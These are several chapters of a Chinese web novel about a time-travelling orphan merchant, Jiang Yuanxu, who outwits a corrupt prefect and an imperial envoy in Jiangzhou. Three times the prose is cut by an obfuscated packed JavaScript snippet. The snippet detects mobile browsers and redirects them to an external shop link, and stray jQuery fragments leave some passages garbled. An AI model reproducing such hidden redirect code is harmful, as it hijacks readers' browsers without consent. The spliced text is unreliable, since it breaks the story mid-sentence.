《我当皇帝是为了你们好》 1. 江州 “周大人,你儿子死啦。” 微微上扬的尾音,带着十足的江南韵味,击落公堂之上张和手里的惊堂木。 微弱的“啪嗒”声,敲进周明坤空空的脑袋。 谁死了?谁的儿子死了?他的儿子怎么了? 他儿子根本不在江州,前些日子坐船去安州了,就算听到他入狱的消息赶回来也要两三日。 坐船?坐船! 恍然的凉意从脚底升起,化作暴怒涌进周明坤的四肢—— “姜元序,你敢!你敢动我儿子!” 姜元序没有避开,她养父吴善民眼疾手快,用自己的镣铐箍着周明坤的腰,周明坤一步不得前进,赤红了眼挥舞双手,像只刚下滚水的软脚虾。 “疯子!这么做对你有什么好处!啊!” 她忍不住扬了下眉。 在周明坤眼里,这无异于挑衅! “我杀了你!周家不会放过你的!太子也不会放过你!” “周明坤!”张和狠狠一敲惊堂木,“休要胡言!” 烂泥扶不上墙的东西! 在江州公堂上,当着江州百姓的面,他周明坤怎么敢牵扯太子的! 张和惊疑未定,他不确定姜元序激怒周明坤的目的什么,更不清楚太子在江州这堆事里扮演了什么角色。 周明坤理智全失,咬牙切齿命令道:“张和!看清楚我是谁,你要是还想活着回京城,就先砍了姜元序。” 张和扶额,本来向商户索贿、贪污税银的水深得很,只要操作得当,让江州粮食商会担一部分责,加上周家和太子的周旋,周明坤完全可以顺利抽身。 结果他率先向商会发难,用的还是漏洞百出的借口,一下就落了下风,如今还在公堂之上大放厥词。 姜元序却有恃无恐,悠悠开口:“周大人,你自己说的,临安江的水那么急,死几个人,很正常。” 一听这话,张和就知道要遭,果然,周明坤又蓄力冲向姜元序,吴善民早有准备,用力往后一攘,周明坤跌倒在地,吴善民趁机翻身完全压制他。 “荒唐!”张和再次用力敲惊堂木,指挥衙役将二人分开。 周明坤还想继续威胁张和,左上方那道坐着的鸦青色身影瞥了他一眼。 “今日周大人的审讯到此为止,将他押回牢里。” 清凌凌的声音如寒冰跃入深潭,激得周明坤差点喘不上气。 周明坤知道形势比人强,他不想和谢家交恶,只能奚落姜元序。 “野鸡就是野鸡,给你梧桐树,都不知道攀高枝。一个孤女,得罪了周家,看谁护得住你。” 周家的大本营在宁远郡,他父亲掌二十万兵马,京中有皇后太子罩着,只要他出了江州,碾死姜元序轻而易举。 有时,姜元序真的挺羡慕,这种因出身尊贵带来的不可一世的愚蠢。 周明坤派人劫走粮食,威胁姜元序嫁给太子,姜元序把周明坤贪墨的罪证送到京城,引来和周家不对付的谢家到江州。 太子要保周明坤安然无恙,谢青衍要用周明坤打击周家和太子。 公堂之上,张和目光凝重,重新审视这个十七岁的姑娘。 她戴着面纱,狰狞的疤痕从眼角爬到眉尾,凌厉的瑞凤眼轻轻一扫,是扑面而来的压迫感。 张和以前评价女人,只有美和丑,如今有了第三种。 她肯定不美,不止脸上,双手更有大面积的伤疤,不难猜测,她必定经历过一场极为严重的火灾。 她肯定不丑,凛然而立,是一种模糊了美丑的第三种状态。 姜元序行事大胆,张和不免有些忌惮,他记起临行前太子殿下的叮嘱,务必保下周明坤。 张和心里思索着对策,右手敲敲桌子:“姜元序,周明坤儿子的死,可与你有关?” “张大人!”吴善民急急说道,“我家姑娘平时踩死只蚂蚁都要哭好几天,这样多愁善感的人,哪里敢杀人。” “再说了,我家姑娘折个花都能崴了手,她就算敢,也做不到啊。” 张和黑沉的表情抽搐了下,这看着老实巴交的男人,怎么一本正经的胡说八道起来。 姜元序笑了,拱手对张和说道:“张大人,我只是来之前恰好听到周承身死的消息,查案是官府的事,具体情况,要您来查。” 张和从不相信巧合。 姜元序毫不避讳张和的审视,周承就是自己死的,至于他为什么要死,那是他自己的事,其他人别管。 “张大人,有关江州粮食商会的证据您已经看了,是不是可以放了我父亲。” 张和在姜元序和吴善民之间来回扫了几圈,沉声说:“证据本官看了,但商会的账目还需仔细审查,你父亲暂时不能回去。待调查过后,证据和账目都没问题,自然会还你父亲清白。” “还有。”张和沉吟了一会儿,才说,“既然姜姑娘才是商会的主事,按律在案子调查期间,姜姑娘不能离开,麻烦姜姑娘在牢里呆一段时间了。” “放屁!” 吴善民一改之前的唯唯诺诺,挺起腰板直指张和。 “这白纸黑字写的清清楚楚,官府里也有备案的,江州粮食商会的会长是我吴善民,关我姑娘什么事!” “吴善民!”张和大呵一声,“再胡搅蛮缠打你板子!” 吴善民吼得比他还大声:“胡搅蛮缠的是你!我吴善民一人做事一人当,就算要诛九族,那也是诛姓吴的,诛不到她姓姜的头上!” 张和气得手都抖了,这江州上上下下没一个人把他放在眼里。他当然知道自己的说法有些牵强,可他一个巡案,还摆布不了一个商人吗! “来人!” 张和打定主意要扣下姜元序。 “张大人,适可而止。” 谢青衍凉凉的声线刺向张和,让他迅速冷静下来。 姜元序自是明白两人的立场,转而说起另一桩案件:“运送粮食的商队已经探查到匪徒的位置,还请张大人派人剿匪。” 张和眉眼一动,问:“商队的人在何处?让他上来回话。” 不一会儿,一个利索的男人上前来:“草民柳三,拜见大人。” “你们自己找到匪徒的位置了?在何处?对方有几人?”张和问道。 柳三恭敬答道:“启禀大人,在江州往南一百二十里的小岚山,约莫有七八十人,皆配了刀剑。” 张和仔细回想这次劫粮案,发觉些异样:“匪徒手里有兵器,可你们商队没有一人伤亡,这是何故?” “启禀大人,我们看到匪徒手里有兵器时,直接四散逃开了,事后才沿着车轴痕迹跟上去。” 柳三态度自然,并没有因为贪生怕死感到惭愧。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17211498|197420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“你们倒是聪明。” 张和眯着眼睛看向姜元序,意有所指道:“姜姑娘既早已探查到匪徒的位置,为何不自己去寻粮,本官看你们的人手并不比匪徒少。” 他现在已经开始怀疑劫粮案的真假了,太巧了,江州多少年没出过匪患了,说不准那五万石粮食是姜元序给周明坤下的套。 “因为我们有张大人呀。” 又是熟悉的吴侬软语,张和的心跟着抖了一下,确定“张大人”后面没跟着“你儿子死了”,才稍稍松一口气。 姜元序满眼真诚地望着张和:“我们手无寸铁的老百姓,哪敢对上凶恶的匪徒啊,张大人就不同了,稍一露面,就让匪徒慌了神。” “张大人的到来,就如这七月的夏风,温暖了每一个江州百姓的心灵。” 姜元序敛起所有锋芒,俨然一个天真无邪的小女郎。 “张大人可能不知道,我们贫苦百姓啊,一年到头就指望这点粮食过日子。眼看着家里的粮一天天变少……” 姜元序垂下眼睛,低低抽泣一声,难过道:“我们一家老小,约莫是要吃土了。” 张和心说你可别放屁了,我是老了,不是瞎了。 姜元序衣裳简单,也没戴首饰,可她鞋上镶着一串儿珍珠!个个圆润饱满,一颗能抵张和一年俸禄,她在鞋上镶了一圈儿! 张和觉得自己才应该去吃土。 这父女俩同出一辙的睁眼说瞎话! “谢大人,你怎么说?”张和决定把烫手山芋丢给能接住的人。 谢青衍饶有兴致地欣赏姜元序的变脸。 在见到姜元序之前,他从未想过“姿态风流,器宇轩昂”可以用来形容一个女子,在见到姜元序之后,他才发现女子亦能如名士风流,如将军轩昂。 如今倒是有点江南锦绣堆里娇养出来的小女儿姿态了。 谢青衍敛起心神,有条不紊地下命令。 “张大人先找人查账,核实姜姑娘今天递的证据,尽快了结江州粮食商会一案。” “至于周明坤,我已经让人去益州调卷宗了,江州、益州上下都查一遍。” “事不宜迟,韩大人今日出发去剿匪。” 说完,他又转向姜元序:“姜姑娘,你确实不能离开。牢房不合适,府衙给你腾一处院子,本官亲自看管。” “不行!” “不行!” 张和想也没想就拍桌反对,一个姜元序,一个谢青衍,分开已经很难对付了,两人合在一起,周明坤怕是真要折在江州了。 吴善民更是心焦,听听,一个男子亲自看管一个姑娘家,这像话吗! “谢大人,您有什么事冲我来,我姑娘娇气,住不惯外头。” 谢青衍端的一副温文尔雅的贵公子样:“吴老爷安心,本官家大业大,养一个贫苦的姜姑娘,绰绰有余。” 你养谁?谁要你养了! 吴善民撩袖子,这京里来的官真是一个比一个不要脸。 姜元序急忙拉住他,爹啊,这人有用,不能揍。 “麻烦谢大人了。” 姜元序笑意盈盈地对上谢青衍充满深意的眼神,谢家人啊,多好的机会,聪明人往往更容易谈条件。 张和见这二人片刻间已达成了共识,全然没有在意他的想法,脸黑了又黑,越发觉得此事棘手。 2. 被骗了 谢青衍径直走到花园凉亭中,那里刚好有一张小方桌,上面放着一张棋盘,他示意姜元序坐下,两个侍从分散站到亭子两个角,像是守卫。 “姜姑娘和太子,是何关系?” 姜元序落座,随意捻起一颗黑子,一下一下抛着玩。 “谢大人,这么隐秘的问题,你空口白牙地问,不合适吧。” 谢青衍自是有所准备:“姜姑娘应该看出来了,张和要保周明坤,想把脏水泼给江州粮食商会。姜姑娘若是愿意为谢某解惑,你父亲明日便能回去。” “谢大人,商会的情况我比你清楚。” 姜元序目不转睛地看着谢青衍,眉眼弯弯,意有所指道:“张大人刚从京城来,想法单纯了些。” 谢青衍被看得有些不自在,甩了下衣袖,宽袍袖下的手指微微蜷曲。 江州粮食商会的名头,哪怕是远在京城的谢青衍也多次听闻,周明坤是个蠢货,被商户摆了一道,京中世家想趁这个机会,压一压周家和太子的风头,所以谢青衍来了。 只是没想到,江州还有那么大的惊喜等着他。 孤女,商会主事,沉着冷静,活泼促狭,都是她,又不全是她。 谢青衍看不透姜元序,而她那双清明锐利的眼睛,好像已经看透了自己。 “姜姑娘想要如何?” 谢青衍暂时找不到制约姜元序的筹码,只能任人开价。 “江州益州的卷宗,让我的人帮谢大人查吧。”姜元序将手里的黑子随意下了一个位置。 谢青衍皱眉:“没有这样的规矩。” “如今这江州,谢大人不就是规矩吗。放心,我的人很专业,所有的结果都会给谢大人过目。” 谢青衍心道:这江州的规矩分明是你,连我都听你的。 “我能问问,姜姑娘想查什么吗?” “抱歉,谢大人,这是另外的价钱。” 姜元序又捻起一颗白子,谢青衍没注意到她戏谑的神情,只静静的看着她手中的棋子,思考该给出什么价码。 姜元序对谢青衍这副乖巧的样子很满意,不再逗他。 “周明坤给我带来那么大的麻烦,我当然要好好查查他啊,这人肯定不干净,我不太信得过京中官吏,这对谢大人也有好处吧。” 谢青衍看着姜元序世事洞明的眼睛,只能点头应下。 “还有哦,我需要谢大人答应我一个空白条件。”姜元序继续加码。 谢青衍不解:“什么叫空白条件?” 姜元序眨眨眼:“就是我现在没想好,等以后想好了再找谢大人要。我保证,只在谢大人能力范围内提要求。” “姜姑娘。”谢青衍敲敲棋盘,“你确定你的答案,真的值那么多吗?我也可以自己查。” 一个江州的孤女,一个皇城的太子,两人的联系只能是周明坤,姜元序又和周明坤交恶。 谢青衍已有猜测,只是周明坤那句“攀高枝”让他有点在意,才迫不及待跟姜元序求证。 洁白的棋子在指尖穿梭,姜元序抬手抚了抚头发,垂下那双凌厉的眼睛,叹一口气。 “这男男女女的关系啊,最是复杂,除了当事人,谁又能说得清呢。你说是吧,谢大人?” 略带暧昧的语气裹挟着寒意侵入谢青衍的神经,他心头一窒,怕自己猜错了,二人当真有不同寻常的关系。 他小心翼翼地张了张僵硬的手指,恢复了一向的从容不迫:“谢某答应了,姜姑娘说吧。” “嗐!其实吧,就是周明坤想让我带着粮食商会,给太子当小妾。”姜元序耸耸肩,不紧不慢道,“我拒绝了。” 三道视线同时钉在姜元序身上,姜元序回了个恰到好处的假笑。 谢青衍崩着脸,问:“就这样?你和太子没见过?” “当然没见过啊,那是太子哎。”姜元序一脸理所当然。 谢青衍忍不住用手支着额头,僵硬的身体松懈下来,随之而来的是无尽的疲惫,被骗了。 姜元序层层加码,一把烂菜卖出了金价。 “哎,谢大人你说,周明坤是不是很不要脸。” 姜元序试图和谢青衍推心置腹:“那么多钱,我娶七八个名门公子都够了,他竟然让我白送。” “太子也是,一个过了七八九十手的男人,也好意思张口要那么多嫁妆。” 嫌弃之意毫不掩饰,狠狠敲在三个古代男人脆弱的神经上。 谢青衍瞪了姜元序一眼,忽然伸手去抢她刚刚捻在指尖的白子,没好气道:“姜姑娘好大的志向。” 拒绝就对了,谢青衍根本无法想象姜元序卑躬屈膝的模样,如此桀骜的性子,怎能在皇宫蹉跎。 姜元序没在意,任他拿走白子,又伸手拿了颗黑子,结果谢青衍再次伸手抢走。 这下姜元序不得不在意了,她抬眼看向谢青衍,只见他自顾自地下了颗白子。 “你答应我一个空白条件,我帮你弄死周明坤,怎么样?” 说完,谢青衍把刚从姜元序手里抢来的黑子塞回她手里。 周家势大是没错,谢家可不怕,弄死周明坤会有点麻烦,但如果能换眼前之人一个承诺,也算周明坤死得其所了。 姜元序捏着手里的黑子,真的被谢青衍一系列的幼稚行为逗笑了,她瞥了眼旁边的侍从,发现他们比她还要惊讶,可见这断然不是谢青衍平日的作风。 她把棋子扔回棋盒,哼笑道:“周明坤的命可值不了那么多。” 姜元序今天的目的已经达到,也不想浪费时间了,她起身道:“谢大人,麻烦去府衙外面喊一下我的侍女。” 谢青衍知道今天这局扳不回来,索性卖一个好,吩咐云慎去找人,他和云齐带姜元序去住处。 谢青衍倒是讲规矩,给姜元序找了个单独的小院,并没有亲自看管的意思,姜元序很满意。 “谢大人,这院子空荡荡的,麻烦去吴家调些人过来。” 谢青衍自然也注意到了姜元序的珍珠鞋,知道这人生活富贵,他这边又都是男侍从,临时找人怕是不尽心,痛快应下。 “委屈姜姑娘了,有任何需要知会一声便可,我住隔壁院子。” 云慎将人带了过来,待主仆三人离开小院,姜元序吩咐身边人。 “十安,找人盯紧谢青衍,我要知道他的一切动作,包括他身边的人,不该知道的东西别让他们查到。” “传信给千程,重新调查谢青衍,这次要事无巨细。” 据之前的调查,这位谢家子可不是这般殷勤的性子,三言两语便骗了个承诺,反倒让姜元序不踏实。 十安低声应是,犹豫道:“姑娘,真要住这里?” “住着吧。”姜元序心想,至少方便看戏,“去安排点人过来。” 十安应声退下。 姜元序舒出一口气,摘掉面纱。 如果这里有第二个人,就会发现,姜元序面纱底下,并没有众人以为的骇人伤疤。也就是说,面纱遮住的是姜元序的脸,而不是疤。 姜元序来到这个世界十七年了。 她还记得,当时她25岁,刚结束一个跨国并购案,准备从芝加哥返回上海。 上飞机前,妈妈打电话说大闸蟹肥了,等她回去吃,爸爸今年的生日想大办一场,给长辈们的请柬要她来写。 可姜元序没能回去,她甚至不知道发生了什么。 她只是有点累,在自家飞机上睡了一觉,醒来就成了阳西镇李员外的女儿。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“姜姑娘被吴善民带回来是时候大概五六岁,没人知道她到底从哪儿来。” “江州上下都知道她是江州粮食商会、百姓钱庄的主事,吴善民只是个跑腿的。” “奇怪的是,姜姑娘名下没有任何产业,只有江州城中一座宅子,城外二十亩地。” “哦对,她虽然住在吴家,户籍却是单独的,还是农籍。” 云慎觉得不可思议,看今日公堂上吴善民一口一个“我家姑娘”,姜姑娘叫“爹”也很顺口,俨然一对关系极好的父女。 结果,偏偏是两家人,诛九族都诛不到一块儿去的那种! 谢青衍倒是不奇怪,世家大族多的是隐匿产业的手段,底下闹出事,也烧不到主家头上。 吴善民的大女儿死于粮仓失火,吴善民去外地收粮时碰到一身烧伤的姜元序,动了恻隐之心,把她带回江州收作养女。 吴夫人失去女儿后便精神恍惚,没几年就去世了,吴家还有个小儿子,比姜元序小两岁,说是去南边走商了,不在江州。 “吴家是什么时候开始发迹的?” “公子,你真是问到点子上了。”云慎兴奋地回答。 “吴家一开始就是个小粮商,被其他粮商挤兑,一度连宅子都卖了,只能租房住。” “收养姜姑娘后,一年换大宅子,三年成江州最大粮商,更别提后来的粮食商会了。” “南边有句话怎么说来着,江州粮商一咳嗽,南地的粮价都得抖三抖。” “这姜姑娘,怕是聚宝盆成了精。” 云慎越说越心动,想着什么时候去姜姑娘跟前转两圈,说不定能捡到金子。 3. 算无遗策 云齐一进门就看到自家弟弟摸着下巴一副奸邪样,照着脚踝踹了过去。 云慎习武之人下盘稳,又早有准备,受云齐一脚,衣角都没晃一下,但拦不住他告状:“公子,云齐踹我。” 谢青衍不想管他们之间的小官司,问云齐:“查的怎么样了。” “启禀公子,周承应该是真的死了,他前段时间一直在安州,坐船回江州的时候船翻了,船找到了,人还没捞上来。” 云齐找懂行的人仔细查了船,没发现人为的痕迹。 “他去安州干什么?”谢青衍疑惑。 “喝花酒。” 三人皆不语,挺离谱,放在周承身上,倒也正常。 云慎悄悄问云齐:“是他相好在安州吗?” 谢青衍也好奇,什么花酒需要去安州喝的。 “江州没有青楼和赌坊。” 云齐也是反复查了几遍,才敢确定这个事实。 在云齐的印象里,江南富庶之地,秦楼楚馆能开满一条街。江州的繁华程度不亚于京城,却在几年前关停了所有青楼和赌坊。 “连赌坊都没?”云慎惊呼出声。 “是的,这就要说起周承和姜姑娘的恩怨了。” “周承曾经开过赌坊,在周明坤刚赴任不久,开业第一天,姜姑娘和周承赌了一场。” “最后是周明坤进赌坊把周承捞了出来,这之后赌坊就关了,那间铺子也归了姜姑娘,后来改成了茶馆。” 谢青衍沉默,忍不住瞥了云慎一眼,姜元序或许真是个聚宝盆精。 云慎没接到谢青衍打量的视线,着急想知道下文:“然后呢?周承有针对姜姑娘吗?” “并没有,那之后周承都是躲着姜姑娘走的。而且,周承大半时间都不在江州,而是流窜着去周边府县喝花酒。” “瞧着恩怨也不大啊,还是姜姑娘占上风。”云慎嘀咕。 这也是云齐觉得奇怪的地方,听周明坤的意思,应该是两人积怨已久才对,偏偏两人并没有多少交集。 “周明坤呢?”谢青衍问。 云齐摇头,什么都没查到,他甚至去牢房旁敲侧击问周明坤了,依旧一无所获。 “云齐、云慎,你们觉得,今天查姜元序的时候,顺利吗?”谢青衍突然道。 两人面面相觑,明白了其中的关窍。 云齐道:“江州百姓口风很紧,我提起姜姑娘,他们只一味地夸,我提起周明坤,他们就一味地骂,骂上头了也没扯出两人有什么联系。” 谢青衍笑了,眉眼舒展,嘴角勾起,如玉的脸上,寒冰褪去,暖阳升起。 “看来,我们今天查到的,都是姜姑娘让我们知道的啊。” 云齐、云慎不解,什么有用的都没查到,公子怎么还高兴起来了。 “云齐,派人去安州查周承,往人命官司查,不用管他怎么死的了,姜元序敢做,肯定不怕查。” “传信给京里,有太子、周家、江州的任何消息,第一时间传到安州。” 谢青衍仔细推敲了一番,又道:“不要用我们的人手了,让京里重新找一队人过来。” 从内阁收到周明坤的罪证,到钦差进入江州,二十五天的时间。 京城到江州,快马送信,只需七日,太子必然是提前给周明坤传了信的。 可周明坤两日前才收到消息。脑子一昏直接抓了吴善民,还没来得及做什么,钦差来了,自己也进去了。 这才有了张和进退两难的局面。 姜元序对江州的掌控力,可见一斑。 谢青衍毫不怀疑,他今日的所作所为已经出现在姜元序的案头。 “云慎,明日仔细去查百姓钱庄。安排人去借贷,摸清楚他们的规矩。” 云慎谨慎地问:“需要找个脸生的人吗?” “不用。钱庄大大咧咧开在那儿,就算不是江州百姓借不了也没关系,尽管去问。” 云慎今天既然能查到百姓钱庄,说明这是姜元序允许查的。 谢青衍想到隔壁院子的姜元序,探究的冲动如同桌边的烛火,一摇一晃撵上心头。 农耕时代的夜晚总是格外安静,晨光还没准备好上工,炽红的火舌急不可耐地喊醒府衙众人。 姜元序披上外裳走出院子的时候,恰好碰上仪容严整的谢青衍,她了然道:“谢大人似乎并不意外。” 她昨日让人注意存放证据的屋子,发现谢青衍的人私底下将证据搬走了。 谢青衍观姜元序一副匆匆起来的模样,她身后两位侍女却穿戴齐整,眼里没有一丝睡意,想来也是有所准备。 他昨日差人替换商会的证据,到手才发现那些纸张全涂了防火防水的材料,存放账本的盒子更是刀枪不入的坚固。 “比不得姜姑娘算无遗策。”谢青衍真心实意道。 两人心照不宣,默契地朝人声鼎沸处走去。 那间屋子是单独辟出来的,火势不算大,外边的轮廓还好好的,里面火光一片,几个架子都倒了。 张和焦急地走来走去,指挥小厮救火,但小厮就那么几个,京中官吏离得远远的,既不管火也不管张和,只神色难言地盯着屋子。 姜元序站到张和身后,慢条斯理地建议:“张大人若实在着急,不如去帮忙提几桶水。”也好过在这里瞎着急。 张和这才发现身后站了两尊一动不动的大佛:“姜姑娘怎么一点儿也不担心,你昨日递的证据可全在里面。” “我急啊,可着急了。” “可我一个手无缚鸡之力的弱女子,平日里连桶都提不起,这连桶带水的,怕不是要了我的命。” 姜元序依旧戴着面纱,张和看不到她的神色,一时分不清她是真着急还是真嘲笑。 一旁的谢青衍忍不住轻笑出声,姜元序的个头极高,比张和还要高,背脊打直,肩膀舒展,没有一点羸弱之感,反而一股子居高临下的睥睨感。 她的语气总是不急不缓,带着江南烟雨的朦胧,并不温柔的声音说起俏皮话总有种破开雾气的明朗感,扮起柔弱,竟也毫不违和。 你说她在装吧,她装的也不尽心,三两下便能判断出她在装,但就是这种一眼看透感反而令人心生警惕,似真似假,非真非假。 至少谢青衍仍不确定,她真是这般促狭的性子,还是全然在装,就如她戴着面纱,却没遮住伤疤,让人一眼看到漂亮的眉眼和狰狞的伤疤的违和感,一半任人猜测,一半任人否定。 谢青衍迎上张和复杂的视线,肃整神情道:“张大人放心,昨夜心血来潮想看商会的账本,便自作主张差人将证据搬去我的院子了,证据如今安然无恙。” “天呐!”不等张和有所反应,姜元序先惊呼出声,目光灼灼地望向谢青衍,“谢大人真是恪尽职守,若朝廷都是谢大人一般的官员,景朝何愁不兴。” 张和有些挂不住脸,可他也很冤枉啊,纵然要保周明坤,他也不会用如此拙劣的法子,真是好大一盆脏水,他的目光在京中官吏间逡巡,试图找出那个火烧证据的傻子。 谢青衍再次掩唇笑了,他是真的觉得有趣,怎么每次都那么猝不及防,根本猜不到下一句是何等妙语。 姜元序面上依旧言笑晏晏的样子,心里的不安愈甚,到底哪一步出了错,资料分明说谢青衍冷漠疏离,似乎和眼前这个眉眼间兴趣盎然的人大相径庭。 姜元序不禁反思自己,难道是她太搞笑了?不应该啊,张和不还是一副苦大仇深的样子。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17211500|197420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >身后的云慎激动地掐住他哥的手,公子这副按捺不住笑意的神情他可太熟了,他看他媳妇儿就这德行! 云齐不知道他在发什么神经,抬手拧他胳膊,两人你来我往掐起来。 一旁的十安仍恬静的站着,无论是远处的火光,还是近处的嬉闹,不入眼也不入心,只安静地注视姜元序的一举一动。 而她身边冷若冰霜的百凌却一反常态翻了个巨大的白眼。 姗姗来迟的红日照亮这一片沉默下的波涛汹涌,火灭烟消,众人四散,迎接新一天的明争暗斗。 书卷一下一下敲在掌心,姜元序走得不疾不徐,一步一步,如鬼魅前行,细风掠过裙摆,吹走屋内的燥气,凛冬骤至。 姜元序漠然的视线如一捧积雪,急速往四周散去,如愿熄灭众人的气焰后,高高扬起嘴角。 “各位大人,早上好啊。” 热情洋溢的声音破开寂静,众人忍不住张嘴深吸一口气,手摸上脖颈,揩去悬而未落的冷汗。 真他娘的有病! 大白天穿一身黑,配个金色的面具,还当是罗刹索命来了! 谢青衍也回过神,暗忖这是谁惹她生气了?怎么一来就给个下马威。 “谢大人,我要在哪里办公呢?” 姜元序端的一副春风和煦的模样,完全看不出方才的寒气逼人。 谢青衍给身边的云齐递了一个眼神,又瞥了眼他面前的桌子,云齐心头一怔,马上有条不紊地站起来。 “姜姑娘坐这里吧。” 云齐收拾好自己的东西,贴心地拉开椅子,示意姜元序坐,稳步走向最末的座位。 “江州粮食商会提交的证据和账本,本官已看过,没什么问题,各位大人再查一遍,今日了结此事。”谢青衍简单下令。 众人心思各异,他们得了吩咐,要尽力找出账本的错漏处,找不到错漏就尽可能拖延时间。 张和动了动身子,准备说些什么,谢青衍却没给他机会,略一抬手,衙役押着一群人上前来。 “张大人,这些是昨夜在吴家出现的贼人,本官今早审了下,初步确定是周家人,剩下的交给张大人了。” 张和顿时大气不敢出,周家人都不长脑子的吗? “周大人昨日可真忙,怕是儿子出生那日,也没昨日忙的。”又是放火,又是杀人的。 姜元序语气轻快,没有任何惊讶,明显早已之情,乐得看戏。 谢青衍一时无言,他是知道周家有私兵的,也清楚周家人的德行,所以让姜元序留在府衙,又派人守在吴家。 昨夜周家私兵刚靠近吴家的墙根,里头的大狼狗便嚎叫起来,一个布包越过墙头,一支箭紧随而至,布包在私兵头顶炸开,蒙汗药散开,差点把谢青衍的人一锅端了。 吴家的人甚至清楚知道谢青衍的人在哪儿窝着,贴心地给砸了包解药。 “还有,”谢青衍再次丢出一个让人始料未及的消息,“明日开始,姜姑娘的人和诸位一起,清查周明坤贪墨一案。” "这怎么可以!" “哪有这样的规矩,简直乱来!” “谢大人三思啊,姜姑娘毕竟……” 众人议论纷纷,皆是不赞同。 “诸位大人。”姜元序没有辩解,反而好心建议,“不如去牢房问问周大人,或许周大人也是同意的呢。” 众人以为姜元序是威胁,更是气愤,抬首发现上首的两位大人都没反对,一时间也没了声势。 张和神思不属,江州之行和他预计的相差甚远,他确实需要好好和周明坤通通气。 谢青衍凝神思索,已知姜元序不是无的放矢之人,大概率周明坤真会同意,难道贪墨案藏着他不知道的什么秘密? 4. 幕后之人 江州的牢房收拾的很干净,吴善民的那间更是称得上豪华,桌上瓜果点心俱全,茶盏还冒着热气,中间甚至大咧咧摆了张摇椅。 吴善民随摇椅晃荡,见了张和也没停下,只不走心地打了个招呼:“张大人来了啊。” 这副戏园子听戏的姿态,噎得张和无言以对,他让狱卒打开牢门,单独把周明坤带到狱审室。 左右无人,张和开门见山地说:“周大人,谢大人要姜元序一起查贪墨案。” 周明坤发丝凌乱,精神气全无,随意找了张椅子,满不在乎道:“那就让他们查。” 张和也是奇了,真被姜元序说中了,凝声问:“您那些事儿,确定没问题?” “左右不过是贪墨银两,侵占田地那点事,皇上还能因这点事砍了我不成!” 周明坤是看明白了,强龙难压地头蛇,昨日出动那么多私兵,证据没毁,吴家早有防备,很明显,他一举一动都在人家眼皮底下。 “我儿子找到了吗?” “还在找。” 张和摇头,把他查到的告诉周明坤,昨日江上起了风,周承乘坐的船因航行过快翻了船,周承和随行的四个家丁不知所踪。 “令公子和姜元序有什么龃龉吗?”张和瞧见周明坤乌云密布的脸色,小心翼翼地问。 周明坤阴沉地瞥了他一眼:“不该问的别问。” 他当然知道姜元序是为那一家人报仇,这个女人最擅长以牙还牙。 周明坤不是什么能耐的人,知州也是靠家里当上的,他之前在益州当了五年知州,没有拿的出手的政绩。 周家找关系把他平调到江州,是知道江州粮商慷慨,不光送钱,还送政绩,前两任江州知州便是如此高升的。 他靠着家世横行了四十年,却接连在江州摔了跟头。 周承输给姜元序二十万两黄金,他许诺不在江州开青楼和赌坊,这是第一个跟头。 税收时,他巧立名目,要周家府兵去收税银,结果府兵被百姓当作冒官之辈,百姓、县官、讼师齐聚一堂,他被迫升堂惩治府兵,这是第二个跟头。 周管家跋扈,调戏卖菜的妇人,踹伤小贩的腿,因为在小巷无人看见,他徇私判了小贩诬告,姜元序花钱为小贩平了事。 第二天,同样无人的小巷,周管家断了两条腿,这是第三个跟头。 他牢记父亲的告诫,太子正是关键的时候,不能惹事。 他索性当起了甩手掌柜,平日里吃吃喝喝听听曲儿,兴致来了便和儿子一起去周边府县找乐子,和姜元序井水不犯河水,日子过得也算惬意。 恰巧这时,他发现了百姓钱庄,窥见了姜元序受江州百姓拥戴的秘密。 姜元序是个有本事的人,这点周明坤再不情愿也得承认,一个十几岁的孤女,愣是成了江州的土皇帝。 这样的人放在江州,是他的心腹大患,放在太子身边,却是得力干将。 太子侧妃对女人而言,无异于登天梯,他没想过姜元序会拒绝。 犹记得他提出这个建议,表明周家会站在她这一边时,姜元序悠悠然回绝。 “周大人,您这日子过得还嫌不舒坦啊,动脑子的事何必自己干,交给有脑子的人不好吗?” 那轻蔑的眼神,轻飘飘把他碾进泥地。 偏这当口,周承又闹出事,他急急忙忙赶去安州,想花钱了事,偏那家人不识好歹,非要将周承绳之以法,他干脆把人全弄死,没能耐还硬逞强,这便是下场。 安州回来后,他已不可能和姜元序善了,为个小贩她打断周管家的腿,五条人命足够他们父子两死十次了。 “贪墨一事,你们也尽快查,不必遮掩,我要尽快离开江州。”周明坤不耐烦地说。 他已经不想应付张和,暗想太子怎么安排这么个畏畏缩缩的人来,屁用没有。 姜元序和张和一样,底层出来的人,总对朝廷律法抱有神圣的期待,一点贪墨的把柄妄想撬动一门权贵?笑话。 律法是约束贫民的,他这样的家世,是凌驾律法之上的。 就好比他派人劫了江州粮食商会五万石的粮食,姜元序不也低头吃了这个哑巴亏,出了江州,她便是任人宰割的小鼠。 张和得了周明坤的准话,反倒轻松起来,查案有何难,难的是遮掩。 